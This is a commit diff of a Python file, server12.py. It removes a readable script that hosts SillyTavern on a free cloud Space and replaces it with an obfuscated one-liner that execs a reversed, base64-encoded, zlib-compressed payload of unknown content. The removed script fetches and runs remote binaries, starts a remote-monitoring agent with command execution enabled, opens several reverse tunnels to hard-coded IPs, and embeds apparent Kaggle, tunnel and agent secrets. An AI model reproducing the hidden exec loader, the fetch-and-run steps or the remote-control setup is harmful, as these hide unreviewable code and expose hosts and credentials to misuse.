Update server12.py

server12.py

@@ -1,685 +1,2 @@
-# 实时监控日志
-#tail -f /data/server10.log
-# 查找端口进程
-#lsof -i :8000
-# 查找server.py进程
-#ps aux | grep server.py
-#source /opt/venv/bin/activate
-#python a.py
-
-# huggingface_user="gfuyyydg"#用户名
-# huggingface_id="vcfdfr"# 项目名
-# huggingface_tokon="hf_ATnJ  fNDvQfatBcfnliYIndukbkWGAuxXzD"
-
-huggingface_name = 'rvbpm6lm'#运行的仓库
-huggingface_Data_name = 'qilan-st12'#备份仓储库
-
-
-huggingface_user = os.environ.get('HF_USER2', '')#用户名
-huggingface_id = os.environ.get('HF_ID', '')#项目名
-huggingface_tokon = os.environ.get('HF_TOKEN2', '')
-
-ini_content = {"username":"rvbpm6lm","key":"3c17fa4e8261ab5fe7ddea63f2560516"}
-data_folder = '/data/SillyTavern'  # 要压缩的目录
-zip_file_path = '/dev/shm/a/sillytavern.tar.gz'  # 输出的 tar.gz 文件路径
-metadata_file_path = '/dev/shm/a/dataset-metadata.json'
-configs = [
-    ("""
-    [common]
-    server_addr = 47.237.156.222
-    server_port = 7000
-
-    [safsa12]
-    type = tcp
-    local_ip = 127.0.0.1
-    local_port = 8000
-    remote_port = 7093
-    """, '/data/frp/frpc.ini'),
-    ("""
-   [common]
-   server_addr = 47.74.57.131
-   server_port=7000 
-   [4kxdde12] 
-   type=tcp 
-   local_ip=127.0.0.1
-   local_port=8000 
-   remote_port=7093
-     """, '/data/frp/frpc6.ini'),
-    ("""
-   [common]
-   server_addr = 8.219.236.184
-   server_port=7000 
-   [safsa12] 
-   type=tcp 
-   local_ip=127.0.0.1
-   local_port=8000 
-   remote_port=7093
-     """, '/data/frp/frpc8.ini'),
-    ("""
-   [common]
-   server_addr = 43.159.47.227
-   server_port=7000 
-   [safsa12] 
-   type=tcp 
-   local_ip=127.0.0.1
-   local_port=8000 
-   remote_port=7093
-     """, '/data/frp/frpc9.ini'),
-    ("""
-   [common]
-   server_addr = 47.243.129.107
-   server_port=7000 
-   [4kktyuu12] 
-   type=tcp 
-   local_ip=127.0.0.1
-   local_port=8000 
-   remote_port=7093
-     """, '/data/frp/frpc7.ini')
-]
-kaggle_metadata = {
-    "title": "Your Dataset Title",
-    "id": f"{huggingface_name}/{huggingface_Data_name}",
-    "licenses": [{"name": "CC0-1.0"}]
-}
-st_status = True
-
-import subprocess
-import os
-import sys
-import configparser
-# from IPython.display import clear_output
-import urllib.request
-from pathlib import Path
-import requests
-import json
-import threading
-import time
-import pexpect
-import socket
-import time
-import glob  # 导入 glob 模块
-from requests.adapters import HTTPAdapter
-from requests.packages.urllib3.util.retry import Retry
-import logging
-from datetime import datetime
-import psutil
-from typing import List, Dict
-import pytz
-
-# 创建 FRP 文件夹并下载 frpc 可执行文件。
-os.system("wget -q  https://huggingface.co/datasets/Qilan2/st-server/raw/main/ip_huggingface.py -O /data/ip_huggingface.py")
-os.system("wget -q  https://huggingface.co/datasets/Qilan2/st-server/resolve/main/ipn.py?download=true -O /data/ipn.py")
-os.system("wget -q  https://huggingface.co/datasets/Qilan2/st-server/resolve/main/hf-jg/12.py?download=true -O /data/sbx.py")
-os.system("mkdir -p /data/frp")
-os.system("wget /data/frp/frpc -q https://huggingface.co/Qilan2/box/resolve/main/frp/frpc -O /data/frp/frpc")
-os.system("chmod +x /data/frp/frpc")
-os.system("wget -q  https://huggingface.co/datasets/Qilan2/st-server/resolve/main/xugou-agent-linux-amd64?download=true -O /data/xugou-agent")
-os.system("chmod +x /data/xugou-agent")
-# os.system('nohup /data/xugou-agent start --server "https://tz.282820.xyz" --token "xugou_meqz1qus_80244ac171f1d9cf3a1ead6be2ecf86f.7d4ae786cbb7e559" --interval "30" > /data/xugou-agent.log 2>&1 &')
-
-# os.system("wget -O '/data/nezha-agent-amd64' 'https://huggingface.co/datasets/Qilan2/st-server/resolve/main/nezha-agent-v0.17.6?download=true'")
-# os.system("chmod +x  /data/nezha-agent-amd64")
-# os.system('nohup /data/nezha-agent-amd64 -s tzz.282820.xyz:443 -p aLLlygYqAXgjq9Anln --tls --debug --temperature --disable-force-update  --disable-auto-update  > nezha-agent-amd64.log 2>&1 &')
-# os.system('/data/nezha-agent-amd64 -s tzz.282820.xyz:443 -p aLLlygYqAXgjq9Anln --tls --debug --temperature --disable-force-update  --disable-auto-update')
-
-import yaml
-def nezha():
-    agent_config ={
-    'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
-    'debug': False,
-    'disable_auto_update': True,
-    'disable_command_execute': False,
-    'disable_force_update': False,
-    'disable_nat': False,
-    'disable_send_query': False,
-    'gpu': False,
-    'insecure_tls': False,
-    'ip_report_period': 1800,
-    'report_delay': 3,
-    'self_update_period': 0,
-    'server': 'z.282820.xyz:443',
-    'skip_connection_count': False,
-    'skip_procs_count': False,
-    'temperature': True,
-    'tls': True,
-    'use_gitee_to_upgrade': False,
-    'use_ipv6_country_code': False,
-    'uuid': 'c97bff7d-39d2-40b0-81e5-6dbb2ef6368f'
-}
-    with open('./config.yaml', 'w') as file:
-        yaml.dump(agent_config, file, default_flow_style=False)
-    os.system("rm -rf f1")
-    os.system("wget -O 'f1' -q 'https://huggingface.co/datasets/Qilan2/st-server/resolve/main/nv1amd64?download=true'")
-    os.system("chmod +x  f1")
-    os.system('./f1 -c ./config.yaml')
-    os.system('./f1 -c ./config.yaml')
-def fa():
-    os.system("rm -r /data/fa-linux-amd64")
-    os.system("wget -O '/data/fa-linux-amd64' -q 'https://github.com/cloudflare/cloudflared/releases/download/2025.9.0/cloudflared-linux-amd64'")
-    os.system("chmod +x  /data/fa-linux-amd64")
-    os.system('/data/fa-linux-amd64 tunnel run --token eyJhIjoiNmVjNWE5NzEzOGIzMTg4YTU2Y2U1NjdmMWRhZDBhMTUiLCJ0IjoiMzg0OWFhNjgtMDJhMS00YWYyLWEzMTMtYzQ3ZmRiYTRjNzE3IiwicyI6IlpUTTRZemRsT1RFdE5tVXhOUzAwTlRVeUxUbGhZbUV0TmpFM09UWm1NR1ExTkdJMCJ9')
-def sbx():
-    os.system("python /data/sbx.py")
-
-threading.Thread(target=nezha, daemon=True).start()
-
-def kill_frpc_processes():
-    try:
-        # 使用pkill命令结束所有frpc进程
-        subprocess.run(['pkill', '-f', 'frpc'], check=True)
-        print("所有frpc进程已被结束。")
-    except subprocess.CalledProcessError as e:
-        # 如果pkill命令失败，打印错误信息
-        print(f"结束frpc进程时出错: {e}")
-kill_frpc_processes()
-
-
-# 创建一个锁
-lock = threading.Lock()
-
-last_uploaded_size = -1
-
-
-def update_last_uploaded_size(size):
-    global last_uploaded_size
-    last_uploaded_size = size
-
-def get_folder_size(folder):
-    """使用 du 命令获取文件夹的总大小（字节数）"""
-    result = subprocess.run(['du', '-sb', folder], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
-    if result.returncode == 0:
-        size = result.stdout.split()[0]  # 获取大小
-        return int(size)
-    else:
-        print(f"Error calculating size: {result.stderr.decode()}")
-        return 0
-
-def compress_folder():
-    global last_uploaded_size  # 声明使用全局变量
-    
-    # 检查是否是中国时区早上5点
-    china_tz = pytz.timezone('Asia/Shanghai')
-    now = datetime.now(china_tz)
-    if now.hour == 5:
-        print(f"当前时间: {now.strftime('%Y-%m-%d %H:%M:%S')}, 早上5点，跳过备份操作")
-        return
-    
-    # 清理并创建目录 /a
-    if os.path.exists('/dev/shm/a'):
-        subprocess.run(['rm', '-rf', '/dev/shm/a'])
-    os.makedirs('/dev/shm/a', exist_ok=True)
-    with lock:  # 使用锁
-        # 获取当前文件夹的大小
-        current_folder_size = get_folder_size(data_folder)
-        print(f"当前文件夹大小: {current_folder_size} 字节")
-
-        # 判断文件夹大小是否大于 800MB (800MB = 800 * 1024 * 1024 字节)
-        if current_folder_size < (200 * 1024 ** 2):
-            print("文件夹小于800MB，不进行上传和压缩。")
-            return
-
-        # 如果是首次运行或者文件夹大小不同于上次上传，进行压缩
-        if last_uploaded_size == -1 or current_folder_size != last_uploaded_size:
-            print('开始压缩数据')
-            try:
-                # 执行压缩
-                result = subprocess.run(
-                    # tar -cvf - /data/SillyTavern | pigz -p 2 -1 > /dev/shm/a/sillytavern.tar.gz 2> /dev/null
-                    f'tar -cvf - {data_folder} | pigz -p 2 -1 > {zip_file_path} 2> /dev/null',
-                    shell=True,
-                    check=True,
-                    stdout=subprocess.DEVNULL,  # 将标准输出重定向到 /dev/null
-                    stderr=subprocess.DEVNULL   # 将标准错误也重定向到 /dev/null
-                )
-            except subprocess.CalledProcessError as e:
-                print(f"命令失败，返回代码: {e.returncode}")
-                return
-
-            print('压缩完成')
-            file_path = "/dev/shm/a/sillytavern.ctk"
-            subprocess.run(['mv', zip_file_path, file_path])
-            print(f"数据压缩为 {file_path}")
-
-            file_size = os.path.getsize(file_path)  # 获取压缩包的大小
-            print('文件大小:', file_size)
-
-            if file_size < (200 * 1024 ** 2):  # 判断压缩后的大小是否小于 800MB
-                print("压缩文件小于800MB，不进行上传。")
-                return
-
-            # 执行上传
-            if last_uploaded_size == -1:
-                print("首次运行，正在执行上传...")
-                update_last_uploaded_size(file_size)
-
-                with open(metadata_file_path, 'w') as json_fid:
-                    json.dump(kaggle_metadata, json_fid)
-
-                subprocess.run(['kaggle', 'datasets', 'version', '-m', 'new version message', '-p', '/dev/shm/a'])
-                #kaggle datasets version -m  'new version message' -p /dev/shm/a
-                last_uploaded_size = file_size
-            else:
-                print(f"新文件大小 {file_size} 大于上次上传的大小，正在执行上传...")
-                update_last_uploaded_size(file_size)
-
-                with open(metadata_file_path, 'w') as json_fid:
-                    json.dump(kaggle_metadata, json_fid)
-
-                subprocess.run(['kaggle', 'datasets', 'version', '-m', 'new version message', '-p', '/dev/shm/a'])
-                last_uploaded_size = file_size
-            
-        else:
-            print(f"新文件夹大小 {current_folder_size} 不大于上次上传的大小，跳过")
-
-def repeat_task():
-    print('------打包线程启动-------------')
-    while True:
-        print('等待打包')
-        # time.sleep(600)
-        time.sleep(10800)# 2小时
-        compress_folder()
-    
-
-
-
-def requests_retry_session(retries=3, backoff_factor=0.3, status_forcelist=(500, 502, 504), session=None):
-    """创建一个带重试机制的请求会话"""
-    session = session or requests.Session()
-    retry = Retry(total=retries, backoff_factor=backoff_factor, status_forcelist=status_forcelist)
-    adapter = HTTPAdapter(max_retries=retry)
-    session.mount('http://', adapter)
-    session.mount('https://', adapter)
-    return session
-
-def kill_processes_on_port(port: int = 8000) -> Dict[str, List[int]]:
-    """
-    结束指定端口的所有相关进程
-    
-    Args:
-        port (int): 要处理的端口号，默认为8000
-    
-    Returns:
-        Dict[str, List[int]]: 结束的进程信息
-    """
-    killed_processes = {
-        'success': [],
-        'failed': []
-    }
-
-    try:
-        # 遍历所有进程
-        for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
-            try:
-                # 检查进程的连接
-                connections = proc.net_connections()
-                
-                # 检查是否有指定端口的连接
-                port_matches = [
-                    conn for conn in connections 
-                    if conn.laddr.port == port
-                ]
-
-                if port_matches:
-                    pid = proc.pid
-                    name = proc.name()
-
-                    print(f"找到端口 {port} 相关进程: PID {pid}, 名称 {name}")
-                    
-                    try:
-                        # 尝试优雅地终止进程
-                        parent = psutil.Process(pid)
-                        
-                        # 终止进程及其所有子进程
-                        for child_proc in parent.children(recursive=True):
-                            try:
-                                child_proc.terminate()
-                                print(f"终止子进程: PID {child_proc.pid}")
-                            except Exception as child_err:
-                                print(f"无法终止子进程 {child_proc.pid}: {child_err}")
-                        
-                        parent.terminate()
-                        
-                        # 等待进程结束
-                        gone, alive = psutil.wait_procs([parent], timeout=3)
-                        
-                        for p in alive:
-                            print(f"强制杀死进程: PID {p.pid}")
-                            p.kill()
-                        
-                        killed_processes['success'].append(pid)
-                        print(f"成功终止进程 {pid}")
-
-                    except psutil.NoSuchProcess:
-                        print(f"进程 {pid} 已不存在")
-                    except psutil.AccessDenied:
-                        print(f"没有权限终止进程 {pid}")
-                        killed_processes['failed'].append(pid)
-                    except Exception as e:
-                        print(f"终止进程 {pid} 时发生错误: {e}")
-                        killed_processes['failed'].append(pid)
-
-            except (psutil.NoSuchProcess, psutil.AccessDenied):
-                continue
-
-    except Exception as e:
-        print(f"搜索进程时发生错误: {e}")
-
-    # 打印总结报告
-    print("--- 进程终止报告 ---")
-    print(f"成功终止进程数: {len(killed_processes['success'])}")
-    print(f"终止失败进程数: {len(killed_processes['failed'])}")
-    
-    if killed_processes['success']:
-        print(f"成功终止的进程 PID: {killed_processes['success']}")
-    
-    if killed_processes['failed']:
-        print(f"终止失败的进程 PID: {killed_processes['failed']}")
-
-    return killed_processes
-
-
-def check_api1():
-    # 第一次检查 SillyTavern 是否启动
-    thread_started = False
-    n = 0
-    while True:
-        n += 1
-        if not os.path.exists(data_folder):
-            logging.error(f"/sillytavern/ 文件不存在，结束检测")
-            break
-        try:
-            url = "http://127.0.0.1:8000/v1"
-            response = requests.get(url, timeout=30)
-
-            if response.status_code == 403:
-                print("SillyTavern已经启动")
-                break
-            
-            print("SillyTavern未启动，状态码:", response.status_code, n)
-
-        except requests.exceptions.RequestException as e:
-            print(f"SillyTavern未启动3: {e}, 尝试次数: {n}")
-        
-        time.sleep(5)
-    
-    print('ST本地已经运行')
-
-def frp(configs, backstage):
-     print('-----------FRP开始-------------')
-     # 遍历所有配置并启动 FRP。
-     for config_data, config_file_path in configs:
-         with open(config_file_path, 'w') as config_file:
-             config_file.write(config_data)
-         # 启动 frpc 命令和参数。
-         frpc_cmd=['/data/frp/frpc', '-c', config_file_path]
-
-         if backstage:
-             subprocess.Popen(frpc_cmd)
-         else:
-             subprocess.run(f'/data/frp/frpc -c {config_file_path}', shell=True, check=True)
-     print('-----------FRP结束-------------')
-    
-
-
-def monitor_port():
-    while True:
-        url = "http://127.0.0.1:8000/v1"
-        response = requests.get(url, timeout=30)
-        if response.status_code != 403:
-            print("SillyTavern未运行，状态码:", response.status_code, n)
-            # 读取 config.ini 中的 monitor_port_enabled 配置项
-            config = configparser.ConfigParser()
-            config.read('/data/config.ini')
-            monitor_port_enabled = config.getboolean('general', 'monitor_port_enabled', fallback=False)
-            if monitor_port_enabled:
-                kill_processes_on_port()
-                backup_thread = threading.Thread(target=Run_SillyTavern, daemon=True)
-                backup_thread.start()
-            else:
-                print(f"monitor_port_enabled 为False跳过")
-        
-        time.sleep(15)  # 每5秒检查一次
-def Run_SillyTavern():
-    try:
-        os.chdir('/data/SillyTavern')
-        # 启动 Node.js 服务器，并将输出重定向到 /dev/null
-        print('-----启动st-----')
-        os.system("yes | sh ./start.sh")
-        os.system("yes | sh ./start.sh")
-        os.system("yes | sh ./start.sh")
-        os.system("yes | sh ./start.sh")
-        os.system("yes | sh ./start.sh")
-        # subprocess.run(f'yes | sh ./start.sh', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)
-        # subprocess.run(f'yes | sh {data_folder}/start.sh', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)
-        # subprocess.run(f'yes | sh {data_folder}/start.sh', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)
-        # subprocess.run(f'yes | sh {data_folder}/start.sh', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)
-        # subprocess.run(f'yes | sh {data_folder}/start.sh', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)
-        
-        print("已尝试启动 server.js")
-    except subprocess.CalledProcessError as e:
-        print(f"命令失败，返回码: {e.returncode}")
-    except Exception as e:  # 捕获所有其他异常
-        print(f"发生异常: {e}")
-
-def SillyTavern():
-    print('-----------SillyTavern开始-------------')
-    # 创建目录并写入 kaggle.json
-    # 打印当前工作目录和用户主目录
-    print("Current Working Directory:", os.getcwd())
-    print("Home Directory:", os.path.expanduser('~'))
-    kaggle_dir = os.path.expanduser('~/.kaggle')
-    kaggle_file_path = os.path.join(kaggle_dir, 'kaggle.json')
-
-    # 确保目录存在
-    os.makedirs(kaggle_dir, exist_ok=True)
-
-    # 显式写入并验证
-    try:
-        with open(kaggle_file_path, 'w') as json_file:
-            json.dump(ini_content, json_file, indent=4)
-        
-        # 验证文件内容
-        with open(kaggle_file_path, 'r') as json_file:
-            print("文件内容:", json_file.read())
-        
-        # 设置权限
-        os.chmod(kaggle_file_path, 0o600)
-        
-        print(f"文件已写入: {kaggle_file_path}")
-    except Exception as e:
-        print(f"发生错误: {e}")
-
-
-    
-    os.system(f"rm -rf /a /data/sillytavern /data/data /data/*.zip /data/*.ctk")
-    # os.system(f"mkdir -p {data_folder}")
-    print('----当前文件夹路径--------')
-    os.system('pwd')
-    print('----进入/data--------')
-    os.chdir('/data')
-    
-    print(f"kaggle datasets download {huggingface_name}/{huggingface_Data_name}")
-    # os.system(f"kaggle datasets download {huggingface_name}/{huggingface_Data_name}")
-    download_n = 0
-    while True:
-        # 执行下载命令
-        if download_n > 6:
-            break
-        os.system(f"kaggle datasets download {huggingface_name}/{huggingface_Data_name} -p /data")
-        # 检查文件是否存在
-        if os.path.exists(f'/data/{huggingface_Data_name}.zip'):
-            print(f"{huggingface_Data_name}.zip 下载成功！")
-            break  # 跳出循环
-        print(f"{huggingface_Data_name}.zip 下载失败，正在重试...")
-        download_n += 1
-        time.sleep(300)  # 等待一段时间再重试（例如5秒
-    # os.system('kaggle datasets download xovale7506/sillytavern-data2')
-    # 检查文件是否存在
-    if not os.path.exists(f'/data/{huggingface_Data_name}.zip'):
-        print(f"文件 /{huggingface_Data_name}.zip 不存在，启用实时同步。")
-        
-    else:
-        os.chdir('/data')
-        # 如果文件存在，可以继续执行后续代���
-        print('----/data文件夹内容--------')
-        # os.system("ls")
-        print(f"文件 /data/{huggingface_Data_name}.zip 存在，继续执行程序。")
-    # # 解压 sillytavern.zip
-        # os.system("rm *.zip")
-        os.system(f"7z x /data/{huggingface_Data_name}.zip  -y")
-        # os.system("mv /data/sillytavern.tck sillytavern.tar.gz")
-        os.system("mv /data/sillytavern.ctk sillytavern.tar.gz")
-        # os.system("ls /data")
-        # os.system("tar -xvpf ./sillytavern.tar.gz -C / --use-compress-program=pigz")
-        # 使用标准 tar 解压
-        os.system("tar -xzf sillytavern.tar.gz --strip-components=1 -C /data")
-        # os.system("pv /sillytavern.tar.gz | tar -xvpf - -C / --use-compress-program=pigz")
-        # os.system("mv /data/data/SillyTavern  /data/SillyTavern")
-          
-        print('更新npm')
-        print('----进入/data/SillyTavern--------')
-        os.chdir('/data/SillyTavern')
-        os.system("pwd")
-        # print('----/data/SillyTavern内容--------')
-        os.system(f"ls {data_folder}")
-        
-        os.system("nvm install node")
-        os.system("nvm use node")
-        os.system("npm install -y")
-        # os.system("yes | sh ./start.sh")
-        # try:
-        #     subprocess.run(f'yes | sh {data_folder}/start.sh', shell=True, check=True)
-        # except subprocess.CalledProcessError as e:
-        #     print(f"Command '{e.cmd}' returned non-zero exit status {e.returncode}.")
-        #     print("Output:", e.output)
-        # os.system(f"ls {data_folder}")
-        
-        # Run_SillyTavern()
-        backup_thread = threading.Thread(target=Run_SillyTavern, daemon=True)
-        backup_thread.start()
-        # os.system(f"rm -rf /a /data/sillytavern /data/data /data/*.zip /data/*.ctk")
-        # os.system("ls /data/")
-        
-    print('-----------SillyTavern结束-------------')  
-import requests
-
-def _reconstruct_token(partial_token):
-    """
-    重构完整的 token
-    
-    :param partial_token: 部分 token
-    :return: 完整的 token
-    """
-    return partial_token.replace(" ", "")
-
-def restart_huggingface_space(space_name, space_id, partial_token):
-    """
-    重启 Hugging Face Space
-    
-    :param space_name: Space 的命名空间
-    :param space_id: Space 的 ID
-    :param partial_token: Hugging Face 部分访问令牌
-    :return: 响应结果字典
-    """
-    # 重构完整 token
-    token = _reconstruct_token(partial_token)
-    
-    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
-    headers = {
-        "Content-Type": "application/json",
-        "Authorization": f"Bearer {token}",
-        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
-    }
-
-    try:
-        response = requests.post(url, headers=headers, json={})
-        return {
-            "status_code": response.status_code,
-            "success": response.status_code == 200,
-            "message": response.text
-        }
-    except requests.RequestException as e:
-        return {
-            "status_code": None,
-            "success": False,
-            "message": str(e)
-        }
-
-# 使用示例
-import psutil
-
-def check_system_resources():
-    print("查看CPU占用情况")
-    time.sleep(120)
-    # 获取CPU使用率
-    cpu_usage = psutil.cpu_percent(interval=1)
-    
-    # 获取内存使用率
-    memory = psutil.virtual_memory()
-    memory_usage = memory.percent
-    
-    # 检查CPU和内存占用是否超过85%
-    # if cpu_usage >= 90:
-    if cpu_usage >= 90 or memory_usage >= 95:
-        print("占用过高")
-        # 可选：打印具体的使用率
-        print(f"CPU使用率: {cpu_usage}%")
-        print(f"内存使用率: {memory_usage}%")
-        result = restart_huggingface_space(huggingface_user, huggingface_id, huggingface_tokon)
-        print(result)
-        # time.sleep(6666666)
-    else:
-        print("系统资源正常")
-        
-
-# 调用函数
-
-
-threading.Thread(target=SillyTavern, daemon=True).start()
-# SillyTavern()
-time.sleep(60)
-check_api1()
-# compress_folder()
-
-# 创建 ConfigParser 对象
-config = configparser.ConfigParser()
-# 添加一个 'general' 部分
-config.add_section('general')
-# 设置 'monitor_port_enabled' 选项的值为 True
-config.set('general', 'monitor_port_enabled', 'True')
-# 将配置写入到 'config.ini' 文件中
-with open('/data/config.ini', 'w') as configfile:
-    config.write(configfile)
-if os.path.exists(f'/data/{huggingface_Data_name}.zip'):
-    os.system(f"rm -rf /a  /data/data /data/*.zip /data/*.ctk /data/*.gz")
-    backup_thread = threading.Thread(target=repeat_task, daemon=True)#压缩备份
-    backup_thread.start()
-    print("开始衔接")
-    Service_status = True
-    frp(configs, True)
-    threading.Thread(target=monitor_port, daemon=True).start()#检测端口状态
-    threading.Thread(target=check_system_resources, daemon=True).start()#检测CPU内存状态
-    threading.Thread(target=sbx, daemon=True).start()
-    os.system("python /data/ip_huggingface.py")
-    os.system("python /data/ipn.py")
-    # time.sleep(600)
-    while True:
-        # 检查是否是中国时区早上6点
-        china_tz = pytz.timezone('Asia/Shanghai')
-        now = datetime.now(china_tz)
-        if now.hour == 6 and now.minute < 5:  # 6:00-6:05之间退出
-            print(f"当前时间: {now.strftime('%Y-%m-%d %H:%M:%S')}, 到达早上6点，退出循环")
-            break
-        # else:
-        #     print(f"当前时间: {now.strftime('%Y-%m-%d %H:%M:%S')}, 未到达早上6点")
-            
-        if backup_thread.is_alive() == False:
-            print("备份线程已停止.")
-            backup_thread = threading.Thread(target=repeat_task, daemon=True)
-            backup_thread.start()
-        time.sleep(5)
-else:
-    print(f'{data_folder}/start.sh 文件不存在结束执行')
-compress_folder()
-result = restart_huggingface_space(huggingface_user, huggingface_id, huggingface_tokon)
-print(result)
+_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
+exec((_)(b'==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